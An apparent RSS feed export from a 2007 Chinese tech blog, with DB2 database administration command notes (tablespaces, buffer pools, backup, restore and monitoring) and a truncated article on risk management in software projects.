<p>DB2 CREATE USER TEMPORARY TABLESPACE STMASPACE PAGESIZE 32 K MANAGED BY DATABASE USING (FILE 'D:\DB2_TAB\STMASPACE.F1' 10000) EXTENTSIZE 256</p>
<p>获取数据库管理器的快照数据</p>
<p>db2 &#8211;v get snapshot for dbm</p>
<p>显示进行程号</p>
<p>db2 list applications show detail</p>
<p>调查错误</p>
<p>sqlcode:产品特定错误码；</p>
<p>sqlstate:DB2系列产品的公共错误码，符合ISO/ANSI 92SQL标准。</p>
<p>调查sqlcode : db2 ? sql1403n</p>
<p>调查sqlstate: db2 ? 08004</p>
<p>创建表空间</p>
<p>rem 创建缓冲池空间 8K</p>
<p>db2 connect to gather</p>
<p>db2 CREATE BUFFERPOOL STMABMP IMMEDIATE&nbsp; SIZE 25000 PAGESIZE 8K</p>
<p>&nbsp;创建表空间：STMA</p>
<p>&nbsp;必须确认路径正确</p>
<p>D:\DB2Container\Stma</p>
<p>db2 drop tablespace stma</p>
<p>db2 CREATE&nbsp; REGULAR TABLESPACE STMA PAGESIZE 8 K&nbsp; MANAGED BY SYSTEM&nbsp; USING ('D:\DB2Container\Stma' ) EXTENTSIZE 8 OVERHEAD 10.5 PREFETCHSIZE 8 TRANSFERRATE 0.14 BUFFERPOOL&nbsp; STMABMP&nbsp; DROPPED TABLE RECOVERY OFF</p>
<p>db2 connect reset</p>
<p>将暂挂的数据恢复到前滚状态</p>
<p>db2 ROLLFORWARD DATABASE TESTDB TO END OF LOGS AND COMPLETE NORETRIEVE</p>
<p>备份表空间</p>
<p>BACKUP DATABASE YNDC TABLESPACE ( USERSPACE1 ) TO "D:\temp" WITH 2 BUFFERS BUFFER 1024 PARALLELISM 1 WITHOUT PROMPTING</p>
<p>创建db2工具数据库</p>
<p>db2 create tools catalog systools create new database toolsdb</p>
<p>如何进行增量/差量备份</p>
<p>增量：上一次完整备份至本次备份之间增加的数据部分；</p>
<p>差量(delta)：上次备份以来（可能是完整备份、增量备份或者差量备份）至本次备份之间增加的数据部分；</p>
<p>更新所有表的统计信息</p>
<p>db2 -v connect to DB_NAME</p>
<p>db2 -v "select tbname, nleaf, nlevels, stats_timefrom sysibm.sysindexes"</p>
<p>db2 -v reorgchkupdate statistics on table all</p>
<p>db2 -v "select tbname, nleaf, nlevels, stats_timefrom sysibm.sysindexes"</p>
<p>db2 -v terminate</p>
<p>对一张表运行统计信息</p>
<p>db2 -v runstatson table TAB_NAMEand indexes all</p>
<p>查看是否对数据库执行了RUNSTATS</p>
<p>db2 -v "select tbname, nleaf, nlevels, stats_timefrom sysibm.sysindexes"</p>
<p>更改缓冲池的大小</p>
<p>缓冲池中，当syscat.bufferpools的npages是-1时，由数据库的配置参数bufferpage控制缓冲池的大小。</p>
<p>将npages的值更改为-1的命令：</p>
<p>db2 -v connect to DB_NAME</p>
<p>db2 -v select * from syscat.bufferpools</p>
<p>db2 -v alter bufferpoolIBMDEFAULTBP size -1</p>
<p>db2 -v connect reset</p>
<p>db2 -v terminate</p>
<p>更改数据库配置参数BufferPages的命令如下：</p>
<p>db2 -v update db cfgfor dbnameusing BUFFPAGE bigger_value</p>
<p>db2 -v terminate</p>
<p>查看数据库监视内容列表</p>
<p>db2 -v get monitor switches</p>
<p>打开某个数据库监视内容</p>
<p>db2 -v update monitor switches using bufferpoolon</p>
<p>获取数据库快照</p>
<p>db2 -v get snapshot for all databases &gt; snap.out</p>
<p>db2 -v get snapshot for dbm&gt;&gt; snap.out</p>
<p>db2 -v get snapshot for all bufferpools&gt;&gt; snap.out</p>
<p>db2 -v terminate</p>
<p>重置数据库快照</p>
<p>db2 -v reset monitor all</p>
<p>计算缓冲池命中率</p>
<p>理想情况下缓冲池命中率在95%以上，计算公式如下：</p>
<p>(1 -((buffer pool data physical reads + buffer pool index physical reads) /(buffer pool data logical reads + pool index logical reads))) *100%</p>
<p>&nbsp;创建db2实例</p>
<p>db2icrt &lt;实例名称&gt;</p>
<p>删除db2实例</p>
<p>db2idrop &lt;实例名称&gt;</p>
<p>设置当前db2实例</p>
<p>set db2intance=db2</p>
<p>&nbsp;显示db2拥有的实例</p>
<p>db2ilist</p>
<p>恢复离线增量备份数据库的命令</p>
<p>DB2 RESTORE DATABASE YNDC INCREMENTAL AUTOMATIC FROM D:\backup\autobak\db2 TAKEN AT 20060314232015</p>
<p>&nbsp;创建样本数据库</p>
<p>在unix平台，使用：sqllib/bin/db2sampl &lt;path&gt;</p>
<p>在windows,os/2平台，使用：db2sampl e,e是可选参数，指定将创建数据库的驱动器；</p>
<p>&nbsp;列出数据库中所有的表</p>
<p>db2 list tables</p>
<p>&nbsp;列出某个表的数据结构</p>
<p>db2 describe table v_ro_role</p>
<p>给表增加列</p>
<p>ALTER TABLE STAFF&nbsp; ADD COLUMN PNHONE VARCHAR(20)</p>
<p>数据迁移方法1</p>
<p>export脚本示例<br>db2 connect to testdb user test password test<br>db2 "export to aa1.ixf of ixf select * from table1"<br>db2 "export to aa2.ixf of ixf select * from table2"<br>db2 connect reset<br>import脚本示例<br>db2 connect to testdb user test password test<br>db2 "load from aa1.ixf of ixf&nbsp; replace into table1&nbsp; COPY NO&nbsp; without prompting "<br>db2 "load from aa2.ixf of ixf&nbsp; replace into table2&nbsp; COPY NO&nbsp; without prompting "<br>db2 connect reset<br></p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/32165.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2007-08-21 21:33 <a href="http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32165.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>软件开发项目过程中的风险管理研究</title><link>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32146.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Tue, 21 Aug 2007 07:20:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32146.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/32146.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32146.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/32146.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/32146.html</trackback:ping><description><![CDATA[&nbsp;
<table cellSpacing=0 cellPadding=0 width=535 border=0>
    <tbody>
        <tr>
            <td>
            <p align=center><strong><span>软件开发项目过程中的风险管理研究<span>[1]</span></span></strong></p>
            </td>
        </tr>
        <tr>
            <td>
            <p align=center>&nbsp;</p>
            <p align=left><span>软件项目风险是指在软件开发过程中遇到的预算和进度等方面的问题以及这些问题对软件项目的影响。软件项目风险会影响项目计划的实现，如果项目风险变成现实，就有可能影响项目的进度，增加项目的成本，甚至使软件项目不能实现。如果对项目进行风险管理，就可以最大限度的减少风险的发生。但是，目前国内的软件企业不太关心软件项目的风险管理，结果造成软件项目经常性的延期、超过预算，甚至失败。成功的项目管理一般都对项目风险进行了良好的管理。因此任何一个系统开发项目都应将风险管理作为软件项目管理的重要内容。<span> </span></span></p>
            <p align=left><span>　　在项目风险管理中，存在多种风险管理方法与工具，软件项目管理只有找出最适合自己的方法与工具并应用到风险管理中，才能尽量减少软件项目风险，促进项目的成功。</span></p>
            <p align=left><span>　　项目风险管理</span></p>
            <p align=left><span>　　项目风险管理是指为了最好的达到项目的目标，识别、分配、应对项目生命周期内风险的科学与艺术。项目风险管理的目标是使潜在机会或回报最大化，使潜在风险最小化。风险管理涉及的主要过程包括：风险识别，风险量化，风险应对计划制定和风险监控，如图<span>1</span>所示。风险识别在项目的开始时就要进行，并在项目执行中不断进行。就是说，在项目的整个生<span>?</span></span></p>
            </td>
        </tr>
    </tbody>
</table>
<p>&nbsp;</p>
<p><span>（<span>1</span>）需求风险<span> </span></span></p>
<p><span>　　<span>①</span>需求已经成为项目基准，但需求还在继续变化；</span></p>
<p><span>　　<span>②</span>需求定义欠佳，而进一步的定义会扩展项目范畴；</span></p>
<p><span>　　<span>③</span>添加额外的需求；</span></p>
<p><span>　　<span>④</span>产品定义含混的部分比预期需要更多的时间；</span></p>
<p><span>　　<span>⑤</span>在做需求中客户参与不够；</span></p>
<p><span>　　<span>⑥</span>缺少有效的需求变化管理过程。</span></p>
<p><span>　　（<span>2</span>）计划编制风险</span></p>
<p><span>　　<span>①</span>计划、资源和产品定义全凭客户或上层领导口头指令，并且不完全一致；</span></p>
<p><span>　　<span>②</span>计划是优化的，是<span>"</span>最佳状态<span>"</span>，但计划不现实，只能算是<span>"</span>期望状态<span>"</span>；</span></p>
<p><span>　　<span>③</span>计划基于使用特定的小组成员，而那个特定的小组成员其实指望不上；</span></p>
<p><span>　　<span>④</span>产品规模<span>(</span>代码行数、功能点、与前一产品规模的百分比<span>)</span>比估计的要大；</span></p>
<p><span>　　<span>⑤</span>完成目标日期提前，但没有相应地调整产品范围或可用资源；</span></p>
<p><span>　　<span>⑥</span>涉足不熟悉的产品领域，花费在设计和实现上的时间比预期的要多。</span></p>
<p><span>　　（<span>3</span>）组织和管理风险</span></p>
<p><span>　　<span>①</span>仅由管理层或市场人员进行技术决策，导致计划进度缓慢，计划时间延长；</span></p>
<p><span>　　<span>②</span>低效的项目组结构降低生产率；</span></p>
<p><span>　　<span>③</span>管理层审查决策的周期比预期的时间长；</span></p>
<p><span>　　<span>④</span>预算削减，打乱项目计划；</span></p>
<p><span>　　<span>⑤</span>管理层作出了打击项目组织积极性的决定；</span></p>
<p><span>　　<span>⑥</span>缺乏必要的规范，导致工作失误与重复工作；</span></p>
<p><span>　　<span>⑦</span>非技术的第三方的工作<span>(</span>预算批准、设备采购批准、法律方面的审查、安全保证等<span>)</span>时间比预期的延长。</span></p>
<p><span>　　（<span>4</span>）人员风险</span></p>
<p><span>　　<span>①</span>作为先决条件的任务<span>(</span>如培训及其他项目<span>)</span>不能按时完成；</span></p>
<p><span>　　<span>②</span>开发人员和管理层之间关系不佳，导致决策缓慢，影响全局；</span></p>
<p><span>　　<span>③</span>缺乏激励措施，士气低下，降低了生产能力；</span></p>
<p><span>　　<span>④</span>某些人员需要更多的时间适应还不熟悉的软件工具和环境；</span></p>
<p><span>　　<span>⑤</span>项目后期加入新的开发人员，需进行培训并逐渐与现有成员沟通，从而使现有成员的工作效率降低；</span></p>
<p><span>　　<span>⑥</span>由于项目组成员之间发生冲突，导致沟通不畅、设计欠佳、接口出现错误和额外的重复工作；</span></p>
<p><span>　　<span>⑦</span>不适应工作的成员没有调离项目组，影响了项目组其他成员的积极性；</span></p>
<p><span>　　<span>⑧</span>没有找到项目急需的具有特定技能的人。</span></p>
<p>&nbsp;</p>
<p><span>（<span>5</span>）开发环境风险<span> </span></span></p>
<p><span>　　<span>①</span>设施未及时到位；</span></p>
<p><span>　　<span>②</span>设施虽到位，但不配套，如没有电话、网线、办公用品等；</span></p>
<p><span>　　<span>③</span>设施拥挤、杂乱或者破损；</span></p>
<p><span>　　<span>④</span>开发工具未及时到位；</span></p>
<p><span>　　<span>⑤</span>开发工具不如期望的那样有效，开发人员需要时间创建工作环境或者切换新的工具；</span></p>
<p><span>　　<span>⑥</span>新的开发工具的学习期比预期的长，内容繁多。</span></p>
<p><span>　　（<span>6</span>）客户风险</span></p>
<p><span>　　<span>①</span>客户对于最后交付的产品不满意，要求重新设计和重做；</span></p>
<p><span>　　<span>②</span>客户的意见未被采纳，造成产品最终无法满足用户要求，因而必须重做；</span></p>
<p><span>　　<span>③</span>客户对规划、原型和规格的审核决策周期比预期的要长；</span></p>
<p><span>　　<span>④</span>客户没有或不能参与规划、原型和规格阶段的审核，导致需求不稳定和产品生产周期的变更；</span></p>
<p><span>　　<span>⑤</span>客户答复的时间<span>(</span>如回答或澄清与需求相关问题的时间<span>)</span>比预期长；</span></p>
<p><span>　　<span>⑥</span>客户提供的组件质量欠佳，导致额外的测试、设计和集成工作，以及额外的客户关系管理工作。</span></p>
<p><span>　　（<span>7</span>）产品风险</span></p>
<p><span>　　<span>①</span>矫正质量低下的不可接受的产品，需要比预期更多的测试、设计和实现工作；</span></p>
<p><span>　　<span>②</span>开发额外的不需要的功能<span>(</span>镀金<span>)</span>，延长了计划进度；</span></p>
<p><span>　　<span>③</span>严格要求与现有系统兼容，需要进行比预期更多的测试、设计和实现工作；</span></p>
<p><span>　　<span>④</span>要求与其他系统或不受本项目组控制的系统相连，导致无法预料的设计、实现和测试工作；</span></p>
<p><span>　　<span>⑤</span>在不熟悉或未经检验的软件和硬件环境中运行所产生的未预料到的问题；</span></p>
<p><span>　　<span>⑥</span>开发一种全新的模块将比预期花费更长的时间；</span></p>
<p><span>　　<span>⑦</span>依赖正在开发中的技术将延长计划进度。<span> </span></span></p>
<p><span>　　（<span>8</span>）设计和实现风险</span></p>
<p><span>　　<span>①</span>设计质量低下，导致重复设计；</span></p>
<span>　　</span><span>②</span><span>一些必要的功能无法使用现有的代码和库实现，开发人员必须使用新的库或者自行开发新的功能</span>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/32146.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2007-08-21 15:20 <a href="http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32146.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>IBM DB2 日常维护汇总</title><link>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32144.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Tue, 21 Aug 2007 07:14:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32144.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/32144.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32144.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/32144.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/32144.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;1.DB2产品的级别有那些? 　　企业版的NTERPRISEEDITION 　　工作组版WORKGROUPEDITION 　　企业扩展版ENTERPRISEEXTENDEDEDITION 　　个人版的PERSONALEDITION 　　卫星版的SATELLITEEDITION 　　微型版的EVERYPLACE 　　 　　2.可以连接到DB2数据库的产品有哪些? 　　DB2客户端 　...&nbsp;&nbsp;<a href='http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32144.html'>阅读全文</a><img src ="http://www.cnitblog.com/szdlinxie/aggbug/32144.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2007-08-21 15:14 <a href="http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32144.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DB2 UDB V8.1 管理</title><link>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32143.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Tue, 21 Aug 2007 07:12:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32143.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/32143.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32143.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/32143.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/32143.html</trackback:ping><description><![CDATA[<p align=left><a name=1><strong><span></span></strong></a></p>
<p align=left><span><span>工作学习之余对<span>DB2</span>使用知识的一点零散记录，包括<span>DB2</span>的基础知识、数据库管理、性能调优以及开发等方面，内容非常零散，而且有时不免理解有误，可能并未回头改掉，望见谅，仅供参考。</span></span></p>
<p align=left><a name=2><strong><span>DB2 </span></strong></a><span><strong><span>基本概念</span></strong></span></p>
<p align=left><span><span>在<span>DB2</span>中由上至下的几个概念：</span></span></p>
<ul type=disc>
    <li><span><span>实例<span>(Instance), </span></span></span></li>
    <li><span><span>数据库<span>(Database)</span>，</span></span></li>
    <li><span><span>表空间<span>(TableSpace)</span>，</span></span></li>
    <li><span><span>容器<span>(Container)</span></span></span></li>
</ul>
<p align=left><span><span>在一个操作系统中，<span>DB2</span>数据服务可以同时运行多个实例<span>(</span>有别于<span>Oracle</span>在一个系统内只能起一个实例<span>).</span></span></span></p>
<p align=left><span><span>数据库定义在实例中，一个实例可以包含多个数据库。在同一个实例中的不同数据库是完全独立的，分别拥有自己独立的系统编目表。<span><br><br></span>表空间有<span>2</span>种管理方式：</span></span></p>
<ul type=disc>
    <li><span><span>DMS(Database management Space)</span></span><span><span>方式</span></span></li>
    <li><span><span>SMS(System manegement Space)</span></span><span><span>方式</span></span></li>
</ul>
<p align=left><span><span>DMS</span></span><span><span>与<span>SMS</span>方式在表空间建立时指定，建好后不能转换。对于<span>DMS</span>方式，一个表空间对应了一个或多个容器<span>(Container)</span>，容器指定了数据的物理存储位置。对于<span>SMS</span>方式，只能够指定一个目录，不能够增加。</span></span></p>
<p align=left><span><span>表空间具有以下类型：</span></span></p>
<ul type=disc>
    <li><span><span>系统编目表空间<span>(SysCatSpace)</span></span></span></li>
    <li><span><span>系统临时表空间<span>(SysTempSpace)</span></span></span></li>
    <li><span><span>用户表空间<span>(UserSpace)</span></span></span></li>
    <li><span><span>用户临时表空间<span>(UserTempSpace)</span></span></span></li>
</ul>
<p align=left><span><span>一个数据库中必须存在两个系统基本的表空间，分别是系统编目表空间与系统临时表空间。在数据库中创建的任何对象都以在系统编目表空间中增加记录的方式体现，对于临时表空间，其占用磁盘大小是根据使用情况动态伸缩的，即仅在需要时才分配磁盘空间，并在使用后进行回收。此外，若用户需要创建表，则需要创建用户表空间，若需要使用临时表，则需要创建用户临时表空间。<span><br><br><br></span>容器分为三种类型：</span></span></p>
<ul type=disc>
    <li><span><span>Files </span></span><span><span>文件</span></span></li>
    <li><span><span>Devices </span></span><span><span>设备</span></span></li>
    <li><span><span>Directory </span></span><span><span>目录</span></span></li>
</ul>
<p align=left><span><span>文件与设备，用于<span>DMS</span>方式的表空间；</span></span></p>
<p align=left><span><span>目录，用于<span>SMS</span>方式的表空间，此种方式不需要人工管理数据存储文件，<span>DB2</span>可根据情况在目录中自动增加存储文件，只要磁盘空间允许。</span></span></p>
<p align=left><span><span>实质上，表空间是数据存储的逻辑位置定义，容器则是数据存储的物理位置定义。</span></span></p>
<p align=left><a name=3><strong><span>数据库的性能</span></strong></a></p>
<p align=left><span><span>影响一个数据库的性能主要有以下因素：</span></span></p>
<ul type=disc>
    <li><span><span>磁盘<span>(Disk)</span></span></span></li>
    <li><span><span>内存<span>(Memory)</span></span></span></li>
    <li><span><span>处理器<span>(CPU)</span></span></span></li>
    <li><span><span>网络<span>(Network)</span></span></span></li>
</ul>
<p align=left><span><span>其中以磁盘最为显著，<span>90%</span>的性能瓶颈可能来自于磁盘的<span>IO</span>竞争；</span></span></p>
<p align=left><span><span>其次是内存，一方面是指物理内存的总量要满足需求，另一方面是指与内存相关的配置参数应正确配置；</span></span></p>
<p align=left><span><span>当然处理器的性能也很重要，多路<span>CPU</span>会对哪些依赖计算能力的复杂<span>SQL</span>查询起到显著的效果；</span></span></p>
<p align=left><span><span>网络不属于主要因素，属于客观的环境因素，是指过慢的网速会对数据的传输造成影响。以下列出一些对于提高数据库性能有效的方法：</span></span></p>
<ul type=disc>
    <li><span><span>对于运行数据库服务的服务器可以尽可能的配置多块物理磁盘，每块的容量不必太大，这样可以有效的分担数据存储与读取操作过程的磁盘<span>IO</span>竞争。即采用多块小容量的磁盘在性能上要优于仅采用一块大容量的磁盘。</span></span></li>
    <li><span><span>如果条件允许，尽量使数据存储服务与操作系统分别运行在物理分开的磁盘上。</span></span></li>
    <li><span><span>采用<span>DMS(Database Management Space)</span>管理方式的表空间。</span></span></li>
    <li><span><span>在物理不同的磁盘上创建多个表空间。然后可以将数据和索引分别存放在不同的表空间，这样可以显著的提高性能。还可以把一个使用频繁的大表纵向拆成多个小表，分别存放在不同的表空间中，然后用一个视图进行联合。</span></span></li>
    <li><span><span>DB2</span></span><span><span>服务器可以管理裸设备，即除系统以及<span>DB2</span>服务运行磁盘以外，为<span>DB2</span>数据存放单独准备磁盘，可以是多块，分区后不需要格式化，创建裸设备后直接交给<span>DB2</span>进行管理，用于存储数据。</span></span></li>
    <li><span><span>系统的临时表空间对数据库性能影响很大，当由管理的物理内存不能满足数据库操作的需要时，<span>DB2</span>便会把临时数据写到磁盘上，这时便用到了系统临时表空间，并且这种情况会经常发生。</span></span></li>
    <li><span><span>尽量在磁盘靠近最内层磁道的位置安放数据，因为此处磁盘的访问速度较快。</span></span></li>
</ul>
<p align=left><a name=4><strong><span>与性能相关的主要参数</span></strong></a></p>
<p align=left><span><span>DB2</span></span><span><span>的参数配置分为两个级别，一个是实例级别，另一个是数据库级别。对数据服务性能影响较大的参数主要在数据库级别配置。以下是三个比较重要的内存配置参数：</span></span></p>
<p align=left><span><span>bufferpage<br>locklist<br>sortheap</span></span></p>
<ul type=disc>
    <li><span><span>bufferpage: </span></span><span><span>由同一个数据库中的所有对象共享。</span></span></li>
    <li><span><span>sortheap: </span></span><span><span>用于排序的内存交换区，非共享，不宜设置太大，否则，很容易引起内存耗尽，因为每一个事务都会申请独立的内存用于排序。</span></span></li>
    <li><span><span>locklist: </span></span><span><span>共享内存，用于记录数据服务运行中建立的锁。建议设置<span>20Mb</span>左右，需要时根据实际情况进行调整。<span>DB2</span>默认使用行级锁，如果设置太小，当锁的记录太多时，则会导致内存不足，此时<span>DB2</span>会把多个行锁升级为一个表锁，这样就会大大降低应用程序的并发性能。如果设置太大，则多分配的内存很少会被用到，导致浪费。</span></span></li>
</ul>
<p align=left><span><span>其他的一些配置参数：</span></span></p>
<p align=left><span><span>numdb: </span></span><span><span>同时可以启动的实例数目</span></span></p>
<p align=left><a name=5><strong><span>DB2</span></strong></a><span><strong><span>的常用命令</span></strong></span></p>
<p align=left><span><span>db2ilist </span></span><span><span>列出当前系统中定义的<span>DB2</span>实例<span><br>daslist </span>列出系统中的<span>DAS<br>db2 list database directory </span>列出当前实例中定义的数据库<span><br>db2 list tablespaces </span>列出当前数据库中定义的表空间<span><br>db2 list tabses [for all] </span>列出当前数据库中的表<span><br>db2 list active db </span>列出活动的数据库</span></span></p>
<p align=left><span><span>db2 get dbm config<br>get db cfg for databasename<br>db2 update db cfg for databasename using bufferpage <st1:chmetcnv w:st="on" UnitName="m" SourceValue="600" HasSpace="False" Negative="False" NumberType="1" TCSC="0">600M</st1:chmetcnv><br>db2 alter bufferpool IABMDEFAULTBP size =1<br>db2 list applications show detail</span></span></p>
<p align=left><span><span>以上命令可以在后面加<span> " show detail" </span>参数，显示详细信息。<span><br><br>DB2</span>数据存储的页大小只能在表空间级别统一指定<span>(</span>区别于<span>Oracle</span>，可以定义在表级别<span>), </span>并且建好后不能修改。<span><br><br></span>可以手工建立一个页大小为<span>4K</span>的<span>DMS</span>用户临时表空间，然后把系统默认的<span>SMS</span>系统临时表空间删除。为满足应用需求，一般还应再建立一个页大小在<span>8K</span>以上的用户临时表空间。<span><br><br>DB2 UDB V8.1 </span>对<span>RedHat Linux 9 </span>的支持不好，默认情况下无法启动<span>GUI</span>安装程序<span>(</span>可以通过设置环境<span>LD_ASSUME_KERNEL=<st1:chsdate w:st="on" Year="1899" Month="12" Day="30" IsLunarDate="False" IsROCDate="False">2.2.5</st1:chsdate></span>解决<span>)</span>，并且不会安装<span>Sample</span>数据库，控制中心也无法正常启动。</span></span></p>
<p align=left><a name=6><strong><span>DB2 SQL </span></strong></a><span><strong><span>相关</span></strong></span></p>
<p align=left><span><span>当使用<span>COUNT()</span>函数时，如果表中的记录数<span> &gt; 2 147 483 647</span>行，则函数可能返回错误的结果，这时可以使用返回类型为<span>DECIMAL(31, 0)</span>的<span>COUNT_BIG()</span>函数。<span><br><br>DISTINCT </span>关键字可以用在<span>COUNT()</span>函数中，如：</span></span></p>
<p align=left><span><span>SELECT COUNT(DISTINCT id) FROM TABLE</span></span></p>
<p align=left><span><span>这代表将不对<span>id</span>列的重复值进行计数。<span><br><br>ORDER BY</span>子句后面如果写了多个列名，需要分别指定升序或是降序。<span><br><br></span>可以在<span>load</span>大量数据时，暂时关闭表的日志选项。使用：</span></span></p>
<p align=left><span><span>ALTER TABLE ... ACTIVATE NOT LOGGED INITIALLY</span></span></p>
<p align=left><span><span>DB2</span></span><span><span>的几个特殊寄存器：</span></span></p>
<p align=left><span><span>CURRENT DATE<br>CURRENT TIME<br>CURRENT TIMESTAMP<br>USER(</span></span><span><span>用户<span>ID)</span></span></span></p>
<p align=left><span><span>有关日期的操作：</span></span></p>
<p align=left><span><span>CURRENT TIMESTAMP + 2 DAYS(or HOURS, SECONDS, MONTHS, YEARS, etc.)</span></span></p>
<p align=left><span><span>case </span></span><span><span>语句的使用：</span></span></p>
<p align=left><span><span>case when </span></span><span><span>条件一<span> then </span>动作一<span> else </span>动作二<span> end; </span></span></span></p>
<p align=left><span><span>以上可以欠套使用。</span></span></p>
<p align=left><span><span>在视图的创建语句中无法使用<span>order by </span>子句与<span> fetch n rows </span>子句。但对于<span>order by</span>可以用如下方法替代实现，不过会影响效率。</span></span></p>
<p align=left><span><span>create view v_name1(c1, c2, c3) as<br>select * from (<br>select column1, column2, column3<br>from t1<br>order by column1 ) as t1;</span></span></p>
<p align=left><span>表空间类型分为<span>SMS</span>和<span>DMS</span>，分别是<span>system management space, database management space. SMS</span>使用方便，简单，无需手工创建和维护数据存储文件。<span>DMS</span>需要手动指定<span>container</span>和存储数据的文件名，并保证有足够磁盘空间可用。<span><br></span>对于一个数据库，至少存在一个<span>page size</span>为<span>4K</span>的系统临时表空间，可以额外建立具有更大<span>page size</span>的用户临时表空间，系统会自动进行使用。<span><br><br></span>无法用<span>alter</span>语句更改一个字段的数据类型，对某些字段可以更改数据长度，这一点上相对于<span>Oracle</span>，<span>DB2</span>的限制要多一些。<span><br></span>可以使用<span>: select </span>表达式<span> from sysibm.sysdummy; </span>替代的，以下语句是等价的：<span>values </span>表达式；<span><br><br><br></span>表和视图的创建、更新、删除操作，都写日志，因此可以<span>commit</span>或<span>rollback</span>。<span><br><br></span>在<span>update</span>语句中，如果没有对定义了默认值的某个字段显式赋值，则更新时，此字段不会重新执行默认值中定义的表达式。为了让其重新执行默认值定义的表达式，可以采用以下方式：</span></p>
<p align=left><span>create table t1 (c1 varchar(32), lastupdatetime with default current timpstamp);<br>update t1 set c1 = 'new string', lastupdatetime = default;</span></p>
<p align=left><span>对于<span>DB2</span>数据库可以在创建时指定<span>codepage</span>参数，创建后不可修改。当应用程序访问数据库时，<span>DB2</span>会比较两者的<span>codepage</span>是否一致，不一致则进行代码页的自动转换。为了减少转换所带来的开销，应尽量保证应用程序所采用的代码页与数据库一致。<span><br><br></span>可以对<span>DB2 CLP</span>工具的<span>codepage</span>进行设置，使用：</span></p>
<p align=left><span>$ db2set DB2CODEPAGE= 1386</span></p>
<p align=left><span>本例中设置的是中文<span>GBK</span>字符集在<span>Windows</span>平台对应的值。注意，这个数字值是由<span>DB2</span>自己定义的。有关各种字符集在相应平台所对应的代码页值可在<span>IBM</span>网站查找。<span><br><br></span>在<span>DB2 CLP</span>中，对远程数据库编目的操作，首先把远程主机映射为本地节点，节点名自己指定，本例采用<span>TCPIP</span>连接。<span>service_name</span>一般定义在远程主机的<span>/etc/services</span>文件中。</span></p>
<p align=left><span>$ db2 CATALOG TCPIP NODE local_node_name REMOTE hostname|ip SERVER service_name </span></p>
<p align=left><span>然后把已知的远程主机的数据库映射到本地别名，注意本地别名在主机级别不能重复。节点名指定上面刚编目的节点。</span></p>
<p align=left><span>$ db2 CATALOG DATABASE db_name AS local_alias AT local_node_name USER username USING password </span></p>
<p align=left><span>现在就可以用刚才编目中定义的别名连接远程主机数据库</span></p>
<p align=left><span>$ db2 CONNECT TO local_alias USER username USING password</span></p>
<p align=left><span>获取数据库详细配置信息</span></p>
<p align=left><span>$ db2 GET CONFIGURATION SHOW DETAIL </span></p>
<p align=left><span>对于<span>DB2</span>返回的错误号，可以用以下方法查阅说明<span>(</span>以<span>sql 10008</span>为例<span>)</span>：</span></p>
<p align=left><span>$ db2 ? sql10008</span></p>
<p align=left><span>数据库的备份与恢复：<span><br><br></span>使用备份与恢复工具可以完成在不同的服务器见完整的转移数据库的工作，命令行方式如下：<span><br><br></span>备份</span></p>
<p align=left><span>$ db2 BACKUP DATABASE db_name USER user_name USING password to backup_dir_name<br>$ db2 BACKUP DATABASE dlhdb USER dlh USING admindlh TO d:\backups</span></p>
<p align=left><span>恢复</span></p>
<p align=left><span>$ db2 RESTORE DATABASE source_db_name USER user_name USING password FROM backup_dir_name TAKEN AT backup_file_create_time TO driver_letter INTO new_db_name<br>$ db2 RESTORE DATABASE dlhdb USER dlh USING admindlh FROM d:\backups TAKEN AT 20031209141056 TO d: INTO newdb</span></p>
<p align=left><span>有关实例的操作：</span></p>
<p align=left><span>设置默认实例环境变量</span></p>
<p align=left><span>$ db2 SET DB2INSTANCE=inst_name</span></p>
<p align=left><span>启动当前实例</span></p>
<p align=left><span>$ db2start</span></p>
<p align=left><span>停止当前实例</span></p>
<p align=left><span>$ db2stop [force]</span></p>
<p align=left><span>连接到某个实例</span></p>
<p align=left><span>$ db2 ATTACH TO ANSTANCE inst_name</span></p>
